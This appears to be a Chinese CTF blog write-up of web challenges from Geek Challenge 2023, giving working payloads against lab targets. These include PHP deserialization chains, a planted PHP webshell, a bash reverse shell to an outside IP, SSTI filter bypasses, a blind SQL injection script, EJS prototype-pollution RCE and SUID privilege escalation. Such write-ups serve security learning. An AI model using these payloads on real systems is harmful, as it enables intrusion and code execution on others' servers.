极客大挑战2023

发布于 2023-11-02  708 次阅读


前言

本校的极客大挑战还是要参加的,去年就很遗憾,今年得好好打一下,这次我会把能写的全写在博客里,同时也会学习一下其他的方向

组队的队友是外校大三的网工学长,很强的选手!


题目没有分week,这里我就分类,按照时间题目发布时间/做出来的顺序来写了

以校外赛道21名的成绩结束比赛,学到了很多东西!


WEB

EzHttp

http签到,点击就送flag http://1.117.175.65:23333/

第一关:请post传参username和password进行登录

账号密码在

第二关:必须来源自sycsec.com 👉添加referer头

第三关:请使用Syclover浏览器 👉修改user-agent头

第四关:请从localhost访问 👉经典的XFF头绕过

第五关:请使用Syc.vip代理 👉添加Via头

然后跳转到一个页面

 <?php

if($_SERVER['HTTP_O2TAKUXX']=="GiveMeFlag"){
    echo $flag;
}

?> 

这段代码的意思是又要一个http头名为O2TAKUXX,值为GiveMeFlag

最终如图👇

unsign

一道反序列化题,代码如下

 <?php
highlight_file(__FILE__);
class syc
{
    public $cuit;
    public function __destruct()
    {
        echo("action!<br>");
        $function=$this->cuit;
        return $function();
    }
}

class lover
{
    public $yxx;
    public $QW;
    public function __invoke()
    {
        echo("invoke!<br>");
        return $this->yxx->QW;
    }

}

class web
{
    public $eva1;
    public $interesting;

    public function __get($var)
    {
        echo("get!<br>");
        $eva1=$this->eva1;
        $eva1($this->interesting);
    }
}
if (isset($_POST['url'])) 
{
    unserialize($_POST['url']);
}

?> 

pop链从上往下很明显了:destruct👉invoke👉get

<?
class syc
{
public $cuit;
}

class lover
{
public $yxx;
public $QW;

}

class web
{
public $eva1='system';
public $interesting='cat /f*';

}
$syc=new syc();
$lover=new lover();
$web=new web();
$syc->cuit=$lover;
$lover->yxx=$web;
echo serialize($syc);

#O:3:"syc":1:{s:4:"cuit";O:5:"lover":2:{s:3:"yxx";O:3:"web":2:{s:4:"eva1";s:6:"system";s:11:"interesting";s:7:"cat /f*";}s:2:"QW";N;}}

n00b_Upload

比较简单的文件上传,直接上图👇

在右边有对应的检测项,我这里是前面加了部分图片的内容,末尾加了php的短代码,这里直接使用php会被检测到,文件类型也要改,然后就能命令执行了

easy_php

学了php了,那就来看看这些绕过吧

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);

highlight_file(__FILE__);
include_once('flag.php');
if(isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!') {
    if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024) {
        if (isset($_POST['qw']) && $_POST['yxx']) {
            $array1 = (string)$_POST['qw'];
            $array2 = (string)$_POST['yxx'];
            if (sha1($array1) === sha1($array2)) {
                if (isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']="Happy to see you!")) {
                    echo $flag;
                } else {
                    echo "再绕最后一步吧";
                }
            } else {
                echo "好哩,快拿到flag啦";
            }
        } else {
            echo "这里绕不过去,QW可不答应了哈";
        }
    } else {
        echo "嘿嘿嘿,你别急啊";
    }
}else {
    echo "不会吧不会吧,不会第一步就卡住了吧,yxx会瞧不起你的!";
}
?>

第一层:正则匹配,这里的preg_match函数采用的匹配方式是从头到尾/^abc$/这样的形式,只需要在字符串的最后添加%0a换行符即可绕过

第二层:intval,科学计数法即可绕过,2022e2

第三层:string化的sha1比较,这里只需把参数都以数组形式传进去,经过string强转后值都变成了Array

第四层:SYC_GEEK.2023这个字符串存在一个下划线,而下划线被当作参数传进去后会被PHP转为一个点,不过当左括号 [ 被当作参数传入的时候,会被转为下划线,这里只需要修改其中的下划线为左括号即可。当前前面已经有PHP特殊字符转换的时候,后续的就会被忽略,GEEK和2023的中的点就不用管了

ctf_curl

命令执行?真的吗?

<?php
highlight_file('index.php');
// curl your domain
// flag is in /tmp/Syclover

if (isset($_GET['addr'])) {
    $address = $_GET['addr'];
    if(!preg_match("/;|f|:|\||\&|!|>|<|`|\(|{|\?|\n|\r/i", $address)){
        $result = system("curl ".$address."> /dev/null");
    } else {
        echo "Hacker!!!";
    }
}
?>

源码中给了提示了,curl你的域名,这道题需要一个服务器,然后再服务器下写一个php文件,然后在题目中curl自己服务器中的文件,使用-o 参数输出到题目靶机的目录下,然后跳转到其界面即可连接蚁剑或者直接手打

klf_ssti

页面源码中给了一个/hack路由,klf是参数,但初步测试没有效果

这里推荐一个SSTImap工具,十分强大,还能直接模拟shell连接

GitHub - vladko312/SSTImap: Automatic SSTI detection tool with interactive interface

D:\SSTImap-master>python sstimap.py -u  http://c6wgxl35yii5gu40b1oi0ob46.node.game.sycsec.com/hack?klf=1 --os-shell

检测出来是盲注,反应都会很慢,这里可以把shell反弹到自己的服务器上

bash -c "bash -i >& /dev/tcp/101.35.19.78/100 0>&1"

再次证明了科技的重要性😂

ez_remove

<?php
highlight_file(__FILE__);
class syc{
    public $lover;
    public function __destruct()
    {
        eval($this->lover);
    }
}
if(isset($_GET['web'])){
    if(!preg_match('/lover/i',$_GET['web'])){
        $a=unserialize($_GET['web']);
        throw new Error("快来玩快来玩~");
    }
    else{
        echo("nonono");
    }
}
?>

两个考点

其一:这个preg_match正则匹配在这样的模式下,是不存在漏洞的,也就无法使用上面那道题说过的换行符绕过,并且由于序列化字符串的特性,我们并不能修改字符串的值,但是可以改变其进制,当序列化字符串中的s属性为大写时候,就能够识别后面字符串中的十六进制字符

其二:throw出的Error会打断正常的反序列化,从而无法destruct,这里可以通过PHP的GC垃圾回收机制绕过

贴一下文章:浅析PHP GC垃圾回收机制及常见利用方式(一)-阿里云开发者社区 (aliyun.com)

上面可以看到能够进行命令执行的命令都被ban了,用不了

这里可以使用php的file_put_content函数,写入一个php木马

<?php
class syc{
    public $lover="file_put_contents('shell.php', '<?php eval(\$_POST[a])?>');";
    public function __destruct()
    {
        eval($this->lover);
    }
}
$a=new syc();
$s=serialize(array($a,0));
echo serialize(array($a,0));
echo PHP_EOL;
preg_replace('lover','\\6cover',$s);
echo $s;

#再自己修改一下
#a:2:{i:0;O:3:"syc":1:{S:5:"\6cover";s:58:"file_put_contents('shell.php', '<?php eval($_POST[a])?>');";}i:0;i:0;}

由于刚才说过,被ban了,这里只能上蚁剑来找了

根目录下打开看不见,并不代表他没有哦

ez_path

题目源码给了提示

pyc反编译后看到的部分代码👇

# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.6

import os
import uuid
from flask import Flask, render_template, request, redirect
app = Flask(__name__)
ARTICLES_FOLDER = 'articles/'
articles = []

class Article:
    
    def __init__(self, article_id, title, content):
        self.article_id = article_id
        self.title = title
        self.content = content



def generate_article_id():
    return str(uuid.uuid4())


def index():
    return render_template('index.html', articles, **('articles',))

index = app.route('/')(index)

def upload():
    if request.method == 'POST':
        title = request.form['title']
        content = request.form['content']
        article_id = generate_article_id()
        article = Article(article_id, title, content)
        articles.append(article)
        save_article(article_id, title, content)
        return redirect('/')
    return None('upload.html')

upload = app.route('/upload', [
    'GET',
    'POST'], **('methods',))(upload)

def article(article_id):
    pass
# WARNING: Decompyle incomplete

article = app.route('/article/<article_id>')(article)

def save_article(article_id, title, content):
    sanitized_title = sanitize_filename(title)
    article_path = ARTICLES_FOLDER + '/' + sanitized_title
# WARNING: Decompyle incomplete


def sanitize_filename(filename):
    sensitive_chars = [
        ':',
        '*',
        '?',
        '"',
        '<',
        '>',
        '|',
        '.']
    for char in sensitive_chars:
        filename = filename.replace(char, '_')
    
    return filename

if __name__ == '__main__':
    app.run(True, **('debug',))

flask模板搭建的,其他没啥好说的,关键点就在于article_path拼接的部分,并没有过滤掉/斜杠,可以在读取的时候进行目录穿越,只需要把文章的title设置为/f14444,然后再点开就行了

哈哈,这道题被我拿了一血,高兴一下O(∩_∩)O

you konw flask?

两个路由,注册和登录,注册的时候显示admin已被注册,很明显是要伪造admin身份进去

接下来就是要找到secretkey值,进入robots.txt发现一个新的页面

只需要写个脚本爆破一下就行了

#!/usr/bin/env python3
""" Flask Session Cookie Decoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

import zlib
from itsdangerous import base64_decode
import ast
import os
from flask.sessions import SecureCookieSessionInterface
import hashlib
import base64
import random

class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key


class FSCM:
    @staticmethod
    def decode(session_cookie_value, secret_key=None):
        try:
            if secret_key is None:
                compressed = False
                payload = session_cookie_value
                if payload.startswith('.'):
                    compressed = True
                    payload = payload[1:]
                data = payload.split(".")[0]
                data = base64_decode(data)
                if compressed:
                    data = zlib.decompress(data)
                return data
            else:
                app = MockApp(secret_key)
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
                return s.loads(session_cookie_value)
        except Exception as e:
            return "[Decoding error] {}".format(e)


if __name__ == "__main__":
    cnt = 1
    while True:
        cookie_value = 'eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiIxMjMiLCJ1c2VyX2lkIjoyfQ.ZUO2Eg.dxE1Jqo7vrBWygtgbQ8RndUZHJQ'
        secret_key = 'wanbao'+base64.b64encode(str(random.randint(1, 100)).encode('utf-8')).decode('utf-8')+'wanbao'
        if secret_key:
            result = FSCM.decode(cookie_value, secret_key)
        else:
            result = FSCM.decode(cookie_value)
        cnt += 1
        print(result, cnt)
        if '[Decoding error]' not in result:
            print(result, secret_key, 'YES')
            break

找到了key,加密换上进去

在学员管理界面拿到flag

Pupyy_rce

悄悄话:这道题是第一周放出来了大概半小时又下线了,后面才放出来,当时我payload都写好了,可惜

源码如下👇

 <?php
highlight_file(__FILE__);
header('Content-Type: text/html; charset=utf-8');
error_reporting(0);
include(flag.php);
//当前目录下有好康的😋
if (isset($_GET['var']) && $_GET['var']) {
    $var = $_GET['var'];
   
    if (!preg_match("/env|var|session|header/i", $var,$match)) {
        if (';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $var)){
        eval($_GET['var']);
        }
        else die("WAF!!");
    } else{
        die("PLZ DONT HCAK ME😅");
    }
} 

这个正则匹配是经典的无参数RCE模式

使用php的内置函数读取文件即可

当前目录存在flag.php

payload👇

?var=show_source(array_rand(array_flip(scandir(current(localeconv())))));

这里采用的方法是随机读取当前目录的文件,一直刷新就能读取到flag

famale_imp_l0v

两个php,一个用来上传zip文件,另一个用来包含文件

 <?php
//o2takuXX师傅说有问题,忘看了。
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
    include($file);
}
?> 

不难想到php伪协议中的zip://伪协议

要先把php文件进行打包进zip,然后上传zip,再到include.php进行文件包含,要注意使用zip伪协议的时候如果想要进一步达到zip里的文件,需要使用 # 井号连接,并且要urlencode

贴一个文章:【文件上传】zip伪协议上传解析_zip:///-CSDN博客

VanZY给白月光写了一张明信片,快去帮他把id签上吧

在hint路由下给出了secret_key的信息

同时在http头里发现cookie

不过这道题不是flask session,而是jwt token,两者的区别可以自行搜索

两者的加密方式不同,写的脚本也不同

import jwt

# 示例用法
payload = {'user': 'admin', 'iat': 1698977214}
secret_key = 'VanZY'

encoded_token = jwt.encode(payload, secret_key, algorithm='HS256')
print(encoded_token.encode())
#eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2OTg5NzcyMTR9.QsHyTGY5GnM7WWzf69WbkVOj8UySuBpIsTQfR8Jr2q0

下面是source源码👇

const express = require('express');
const jwt = require('jsonwebtoken');
const app = express();
const bodyParser = require('body-parser')
const path = require('path');
const jwt_secret = "VanZY";
const cookieParser = require('cookie-parser');
const putil_merge = require("putil-merge")
app.set('views', './views');
app.set('view engine', 'ejs');
app.use(cookieParser());
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())

var Super = {};

var safecode = function (code){
    let validInput = /global|mainModule|import|constructor|read|write|_load|exec|spawnSync|stdout|eval|stdout|Function|setInterval|setTimeout|var|\+|\*/ig;
    return !validInput.test(code);
};

app.all('/code', (req, res) => {
  res.type('html');
  if (req.method == "POST" && req.body) {
    putil_merge({}, req.body, {deep:true});
  }
  res.send("welcome to code");
});

app.all('/hint', (req, res) => {
    res.type('html');
    res.send("I heard that the challenge maker likes to use his own id as secret_key");
});

app.get('/source', (req, res) => {
  res.type('html');
  var auth = req.cookies.auth;
  jwt.verify(auth, jwt_secret , function(err, decoded) {
    try{
      if(decoded.user==='admin'){
        res.sendFile(path.join(__dirname + '/index.js'));
      }else{
        res.send('you are not admin    <!--Maybe you can view /hint-->');
      }
    }
    catch{
      res.send("Fuck you Hacker!!!")
    }
  });
});

app.all('/create', (req, res) => {
  res.type('html');
  if (!req.body.name || req.body.name === undefined || req.body.name === null){
    res.send("please input name");
  }else {
    if (Super['userrole'] === 'Superadmin') {
        res.render('index', req.body);
      }else {
        if (!safecode(req.body.name)) {
            res.send("你在做什么?快停下!!!")
        }
        else{
            res.render('index', {name: req.body.name});
        }
      }
  }
});

app.get('/',(req, res) => {
    res.type('html');
    var token = jwt.sign({'user':'guest'},jwt_secret,{ algorithm: 'HS256' });
    res.cookie('auth ',token);
    res.end('Only admin can get source in /source');

});

app.listen(3000, () => console.log('Server started on port 3000'));

在create路由下可以看到有一个Superadmin的验证,在code路由下有一个POST传入并且merge合并的过程

不难联想到原型链污染的相关知识,由于Super本身是空的,我们需要在code页面下POST一个JSON包污染object的原型,从而使所有对象都带有userrole属性且值为Superadmin

这里我用__proto__不知道怎么不行,只能使用constructor来实现,这个在0xgame比赛里有用到过

在这里贴两个文章

理解原型链污染 - depy (rce.ink)

Node.js原型链污染的利用 - FreeBuf网络安全行业门户

污染之后再进入create路由下,name参数就没有任何限制了

经过后来学习,这道题和name没什么关系,主要还是ejs这个模板的render渲染问题

这个模板是存在CVE漏洞的,网上可以搜一下

这道题和HGAME2023中WEEK4的Shared Dairy比较相似,可以找官方WP看看,这里不再赘述

由于这个ejs的版本比较高,原本的outputFunctionName在这里就成为了非法字符,好在官方修复的时候好像漏掉了一个escapeFunction,刚好可以利用

直接说做题步骤,现在code页面进行原型链污染,注意箭头指的地方

然后只修改第一行的code为create,其他的别动,也别另外开一个repeater,就在这一个操作

得到flag的名字,然后再回到code页面修改命令执行,最后跳回create界面即可

针对于这个ejs模板,我再贴几个文章:

https://inhann.top/2023/03/26/ejs/

https://thnpkm.xyz/index.php/archives/111/

https://www.ctfiot.com/120877.html

klf_2

发现一个secret

参数还是klf,这次用脚本跑不出来了,得用手注

这次过滤的很严格,比如常见的关键字:class,global,getitem等等

以及一些特殊符号:单双引号、中括号、加减乘除、斜杠等等

不过好在可以通过set方法来处理字符串

我这里就直接上payload来对着说吧

http://qkxc2u105bpv62hkormtdb5oc.node.game.sycsec.com/secr3ttt?klf=
{%set b=dict(po=1,p=2)|join%}#用于提取字符串中的某个字符,用法pop(5)
{%set line=(lipsum|string|list)|attr(b)(18) %} #通过lipsum来获取单个下划线
{%set towline=(line,line)|join %} #下划线组合成两个下划线
{%set glbs=((towline,dict(glo=1,bals=2)|join)|join,towline)|join%}#dict合成__globals__关键字
{%set gtitem=(towline,dict(ge=1,titem=2)|join,towline)|join%} #dict合成__getitem__关键字
{%set pp=dict(po=a,pen=2)|join%} #dict合成popen关键字
{%set oo=dict(o=a,s=b)|join%}  #os
{%set rd=dict(re=1,ad=2)|join%} #read 
{%set kg=lipsum|string|list|attr(b)(9)%} #获取空格
{%set bult=(towline,dict(bui=1,ltins=2)|join,towline)|join%} #获取__builtins__
{%set ch=dict(ch=1,r=2)|join%} #获取chr字符串,因为特殊符号斜杠被过滤了,这里只能使用chr来创建 
{%set gt=dict(get=a)|join%} #get
{%set cha=(lipsum|attr(glbs))|attr(gt)(bult)|attr(gt)(ch)%} #创建chr函数
{%set rd=dict(re=1,ad=2)|join%} #read ?上面好像写过了 。。。。。我的
{%set sv=lipsum|string|list|attr(b)(36)%}  #获取数字7,因为斜杠\的ascii是47,这里7是会被检测
{%set f=4%} #获取4
{%set ap=dict(ap=1,p=2)|join%} #我在当前目录没有找到flag,真的flag在/app路由下
{%set n=(f,sv)|join|int%} #组成47的数字,这个int有必要
{%set fl=dict(f=1,l=2)|join%} 
{%set gg=(f,dict(g=1)|join)|join%}  #flag的名字叫 fl4gfl4gfl4g
{%set fg=(fl,gg,fl,gg,fl,gg)|join%}  #这连着的三个应该可以优化,我写的有点臃肿
{%set shell=((dict(ca=1,t=2)|join,kg,cha(n))|join,ap,cha(n),fg)|join%}#cat /app/fl4gfl4gfl4g
{{lipsum|attr(glbs)|attr(gtitem)(oo)|attr(pp)(shell)|attr(rd)()}}  #执行完

相关链接👇

有趣的事情:去SYC面试的时候,好像问到SSTI部分,Delty(我觉得应该是他)问我当斜杠被过滤掉的时候怎么办?当时摆头不知道,他就说用builtins这个关键字引入chr函数。做这道题的时候就想起来这件事

ez_sql

一道布尔盲注的题目

题目给了一个ID输入框,测试过后是字符型单引号闭合

而且页面有三种回显状态

第一种就是上图的回显查询ID

第二种是输入了非法字符会回显:waf!!!

第三种对应的是查询失败,或者说sql语句有问题,执行出错,但没有报错信息,只会回显:别翻啦!这么多心灵鸡汤都du不了你吗

上burp看看过滤了哪些👇,在intruder里标记参数,字典用的网上随便找的

一些常用的比如:or、sleep、id、substr、mid、left、right、三个报错函数、database、benchmark、count、concat、information_schema以及空格等等

能用的有:(、)、select、where、like、regexp、union、length、limit、from等等

不难想到这是通过like模糊查询的布尔盲注题目

首先,database被ban了,如何查询数据库呢?(这道题的flag不在当前数据库

用like模糊查询得知当前mysql版本是5.7几,而在5.7之后mysql默认存在一个sys.schema_table_statistics_with_buffer库,里面存放了所有库的名称,里面的字段名有table_schema和table_name,用于存放表以及对应的数据库

那就先来跑一下数据库和表名

如果不加上table名称的限制的话,跑出来的当前数据库就是articles,里面是没有flag的,这里就不再截图

到这一步的话,sys这个表就没什么用处了,因为里面没有字段的名称

接下来就是要使用无列名布尔盲注,join在这里也是被ban了的,不过也有其他的方式

这里放几个文章,我也不再赘述了(懒的打字。。):

首先要确定flag表有几列,这个用无列名加上group by看回显就能知道flag只有一列

然后我在本地测试的话,能通过的是下面这种形式的

select '0' ||
(select/**/hex(e.c)/**/from (select/**/c/**/from/**/(select/**/2/**/c/**/union/**/select/**/*/**/from/**/ctf.flll444aaggg9)x/**/limit/**/1,1)e/**/where/**/length(hex(e.c))>1/**/and/**/e.c/**/like/**/'%')
||'0';

根据这个,针对like的部分写脚本

import requests
import string
dic="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$&'()*+,-./:;<=>?@[\]^`{|}~_"
url='http://47.108.56.168:1113/'

payload={"id":"0'||(select/**/hex(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/length(hex(table_name))>1/**/and/**/hex(table_name)/**/like/**/'%'/**/limit/**/0,1)||'0"}
part1="0'||(select/**/hex(e.c)/**//**/from/**/(select/**/c/**/from/**/(select/**/2/**/c/**/union/**/select/**/*/**/from/**/ctf.flll444aaggg9)x/**/limit/**/2,1)e/**//**/where/**/length(hex(e.c))>1/**/and/**//**/e.c/**/like/**/binary/**/'"
#part1="0'||(select/**/hex(table_name)/**/from/**/sys.schema_table_statistics_with_buffer/**/where/**/table_schema/**/like/**/'ctf'/**/and/**/hex(table_name)/**/like/**/'"
part2="%'/**//**/)||'0"
midpart=''

while True:
    check=0

    for i in dic:
        payload={"id":part1+midpart+i+part2}
        print(payload)
        r=requests.post(url,payload).text
        if '别翻啦' not in r and 'waf' not in r and '你搁这' not in r:
            midpart+=i

            print(i)
            check=1
            break;
    if check==0:
        break
    print(midpart)
print(midpart)
#SYC{73hd72hfds68r42yuf874r79v8sd43u89f}

注意几个点,dic字典里要把下划线放到最后一个位置,因为like模糊查询里下划线能匹配任意单个字符,不要有百分号

like后面加一个binary用于区分大小写

又拿了一个一血,喜喜🤭

EzRce

源码如下

 <?php
include('waf.php');
session_start();
show_source(__FILE__);
error_reporting(0);
$data=$_GET['data'];
if(waf($data)){
    eval($data);
}else{
    echo "no!";
}
?> 

用python跑了一下,能用的字符有这些

aelvAELV!"#$%&'()*+,-./:;<=>?@[\]^_`|

用异或构造字符串phpinfo()

<?php
$e=('L'^'<').('L'^'$').('L'^'<').('L'^'%').('"'^'L').('L'^'*').('#'^'L');//phpinfo
($e)();
#在p神的文章中学到的

贴几个文章:

一些被ban的函数

注意到源码当中有一个session开启的部分,可以进行利用

注意这个data也是要进行异或构成的,这里给一个python脚本

由于在disable_function里没有禁用file_put_contents,于是可以写入一个PHP文件来方便命令执行,同时注意函数的括号嵌套

import string
dic='aelvAELV!#$%&'+"()*+,-./:;<=>?@[]^_`|"
want="session_id"
res=""
for c in want:
    for i in dic:
        check=0
        for j in dic:
            if ord(i)^ord(j)==ord(c):
                print(i,j)
                res+=f"('{i}'^'{j}')."
                check=1
                break
        if check==1:
            break
print(res)

data的部分的话,每个异或组成的字符串都要额外用一对括号括起来,就像上面的那个phpinfo一样

然后在新建的文件下进行命令执行,更方便一些,不用再转进制

由于在phpinfo里面禁用了大部分的命令执行函数,但是还是可以使用proc_popen这个函数

贴一个文章:绕过Disable Functions来搞事情 - FreeBuf网络安全行业门户

这里我是用到反弹shell,因为后面要进行提权,当前权限不能够读取flag,在自己服务器上写一个一句话反弹shell的命令,保存在txt中,再用靶机curl执行,自己服务器开启nc监听

如下,权限不够是读不到的,这里就涉及到suid提权

贴两个文章:

find / -user root -perm -4000 -print 2>/dev/null #在里面查到有find命令,可以操作

进入tmp目录touch一个111文件就行了,不用写内容

find 111 -exec code \; #这个时候find执行命令的时候就是以root身份,code可控,要切换到tmp目录

拿到flag,记得把空格转换为下划线

ezpython

源码如下👇

import json
import os

from waf import waf
import importlib
from flask import Flask,render_template,request,redirect,url_for,session,render_template_string

app = Flask(__name__)
app.secret_key='jjjjggggggreekchallenge202333333'
class User():
    def __init__(self):
        self.username=""
        self.password=""
        self.isvip=False


class hhh(User):
    def __init__(self):
        self.username=""
        self.password=""

registered_users=[]
@app.route('/')
def hello_world():  # put application's code here
    return render_template("welcome.html")

@app.route('/play')
def play():
    username=session.get('username')
    if username:
        return render_template('index.html',name=username)
    else:
        return redirect(url_for('login'))

@app.route('/login',methods=['GET','POST'])
def login():
    if request.method == 'POST':
        username=request.form.get('username')
        password=request.form.get('password')
        user = next((user for user in registered_users if user.username == username and user.password == password), None)
        if user:
            session['username'] = user.username
            session['password']=user.password
            return redirect(url_for('play'))
        else:
            return "Invalid login"
        return redirect(url_for('play'))
    return render_template("login.html")

@app.route('/register',methods=['GET','POST'])
def register():
    if request.method == 'POST':
        try:
            if waf(request.data):
                return "fuck payload!Hacker!!!"
            data=json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "连用户名密码都没有你注册啥呢"
            user=hhh()
            merge(data,user)
            registered_users.append(user)
        except Exception as e:
            return "泰酷辣,没有注册成功捏"
        return redirect(url_for('login'))
    else:
        return render_template("register.html")

@app.route('/flag',methods=['GET'])
def flag():
    user = next((user for user in registered_users if user.username ==session['username']  and user.password == session['password']), None)
    if user:
        if user.isvip:
            data=request.args.get('num')
            if data:
                if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
                        flag = os.environ.get('geek_flag')
                        return render_template('flag.html',flag=flag)
                else:
                    return "你的数字不对哦!"
            else:
                return "I need a num!!!"
        else:
            return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>')
    else:
        return "先登录去"

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


if __name__ == '__main__':
    app.run(host="0.0.0.0",port="8888")

首先看到源码中有一个merge函数,这个在js的原型链污染中有看到过,结合题目信息,得知这道题是关于python原型链污染

首先给两篇文章学习一下👇

在注册页面可以抓包尝试添加如下污染内容

由于有waf的存在,肯定是过不了的,不过可以使用unicode编码绕过。(unicode编码就是字符转为16进制然后添加前缀\u00即可

然后进入flag页面,需要传一个参数num进行比较,通过源码可知num的条件

其实只需要让num等于123456789后加一个空格,即可绕过,因为int函数会自动去除空格

klf_3

这道题的话,嗯。。。可以直接用klf_2的payload打,没有一点障碍

可能是因为我打2的时候想得太多了,多绕了几下,本来2可能没有那么难,这道题直接照着上面的打就行了。。。

Akane!

源码如下👇

<?php
error_reporting(0);
show_source(__FILE__);
class Hoshino
{
    public $Ruby;
    private $Aquamarine;

    public function __destruct()
    {
        $this->Ruby->func();
    }
}

class Idol
{
    public $Akane;

    public function __wakeup()
    {
        $this->Akane = '/var/www/html/The************************.php';
    }

    public function __call($method,$args)
    {
        $Kana = count(scandir($this->Akane));
        if ($Kana > 0) {
            die('Kurokawa Akane');
        } else {
            die('Arima Kana');
        }
    }
}

$a = unserialize(base64_decode($_GET['tuizi']));

?>

有一道贵阳大数据CTF的题目和这个比较相似

利用点就是scandir这个函数,已知scandir使用的时候不管有没有东西,都会返回一个数组里面包含一两个点,如果使用glob://协议的话,就不会包含点,结合count函数会计入点的特性,用glob协议来对php文件名进行爆破

我的py脚本👇

import string
import requests
import base64
dic=string.printable
url='https://ssi28gtqfby8kz2u0e7bz3vej.node.game.sycsec.com/?tuizi='
table = ''
#记住要绕过wakeup函数,防止他重置目录,只需要把Idol的参数+1即可
for i in range(23,-1,-1):
    for j in dic:
        original_string = 'O:7:"Hoshino":2:{s:4:"Ruby";O:4:"Idol":2:{s:5:"Akane";s:52:"glob:///var/www/html/The'+table+j+'*'*i+'.php";}s:19:" Hoshino Aquamarine";N;}'
# 进行加密
        encoded_bytes = base64.b64encode(original_string.encode('utf-8'))
        payload= encoded_bytes.decode('utf-8')
        r=requests.get(url+payload)
        if 'Kurokawa Akane' in r.text:
            print(r.text,original_string,table)
            print()
            table+=j
            break

ez_php

传入部分源码👇

if (isset($_GET['user'])) {
    $user = $_GET['user'];
    if (!preg_match("/^[Oa]:[\d]+/i", $user)) {
        unserialize($user);
    }
    else {
        echo("不是吧,第一层都绕不过去???<br>");
    }
}
else {
    echo("快帮我找找她!<br>");
}

在CTFshow上有一道类似的题目:愚人杯3rd [easy_php] (yuque.com),可以参考绕过Oa:\d的正则,使用C属性

要先进入useless类的destruct魔术方法里找到key

$bool=!is_array($this->QW)&&!is_array($this->YXX)&&(md5($this->QW) === md5($this->YXX)) && ($this->QW != $this->YXX) and $random==='newbee';#这个newbee不用管他,对判断语句是没有影响的

对于这段判断条件来说,MD5强比较由于前面限制不能为数组,就不能用数组来绕过,同时由于是GET方式传参,在网上能够搜到一些CTF的MD5强碰撞往往是以一些不可见字符组成的字符串,会被url解码从而导致比较失失败,这里偶然间看到一个MD5合集,又学到一个新姿势:php-md5类型题目汇总 | dota_st (wlhhlc.top)

var_dump(md5('INF')===md5(INF));
#bool(true) 很巧妙的方式,INF是无限大
<?php
class useless {
    private $seeyou;
    public $QW='INF';
    public $YXX=INF;


}

$a=new useless();
$b=new ArrayIterator(array($a));
$a=serialize($b);
echo $a;
#C:13:"ArrayIterator":103:{x:i:0;a:1:{i:0;O:7:"useless":3:{s:15:"%00useless%00seeyou";N;s:2:"QW";s:3:"INF";s:3:"YXX";d:INF;}};m:a:0:{}}即可绕过第一层

进入第二层:

这个关键点不在于basename这个函数,虽然basename也有相关的漏洞,这里考察的是server这个全局变量数组

于是如下图构造url,即可在网页源码里看到php代码

但是全是base64加密后的代码,而且很长,一般来说就是一个图片

将其全部值复制下来,去掉首尾的注释符号(/*、*/)

运行一下,即可得到一个图片👇密码就是:9,名字叫:momo

至此useless类的destruct利用完毕,准备进入Me类的wakeup

这个随机字符串的绕过,用地址引用即可,然后跳到her类的invoke,再经过serialize跳到sleep方法,再跳到useless的get方法,最后回到her的find函数完毕

值得注意的是important类里sleep执行后引发的useless类的get方法

这里的$zhui[$good](); 就等同与$this->seeyou[$this->seeyou]();

这里我问了问万能的GPT👇

所以说POP链就是:Me->wakeup 👉 her->invoke 👉 important->sleep 👉useless->get 👉 her->find

poc👇

<?php
class Me {
    public $qwe;
    public $bro;
    public $secret;

}

class her{
    public $hername='momo';
    public $key=9;
    public $asd;
    public function find() {}
}
class important{
    public $power;

}
class useless
{
    public $seeyou;
    public $QW;
    public $YXX;
}

$me=new Me();
$her=new her();
$important=new important();
$useless=new useless();
$me->bro=&$me->secret;
$me->qwe=$her;
$her->asd=$important;
$important->power=$useless;
$useless->seeyou['seeyou']=[$her, 'find'];
echo serialize( new ArrayIterator(array($me)));
#C:13:"ArrayIterator":275:{x:i:0;a:1:{i:0;O:2:"Me":3:{s:3:"qwe";O:3:"her":3:{s:7:"hername";s:4:"momo";s:3:"key";i:9;s:3:"asd";O:9:"important":1:{s:5:"power";O:7:"useless":3:{s:6:"seeyou";a:1:{s:6:"seeyou";a:2:{i:0;r:5;i:1;s:4:"find";}}s:2:"QW";N;s:3:"YXX";N;}}}s:3:"bro";N;s:6:"secret";R:16;}};m:a:0:{}}

这里忘了说了,题目环境是7.4,PHP版本大于7就对private和public不敏感了,上面没改将就看吧

进入find函数看看

file一眼看就是data伪协议绕过

那么注意一下ctf和fun,前面有一个new,就不能直接命令执行,这里涉及到PHP原生类读取文件

【精选】浅谈 php原生类的利用 1(文件操作类)_filesystemiterator-CSDN博客

最后的payload👇

在这个PHP文件里拿到flag

change_it

这道题对上传身份有限制

解密后是这样的

找了很久也没找到key的线索,于是干脆就爆破吧🤭

附上工具连接:GitHub - brendan-rius/c-jwt-cracker: JWT brute force cracker written in C

下到虚拟机里面去

可能遇到的问题,参考👉:快速安装 c-jwt-cracker - litluo - 博客园 (cnblogs.com)

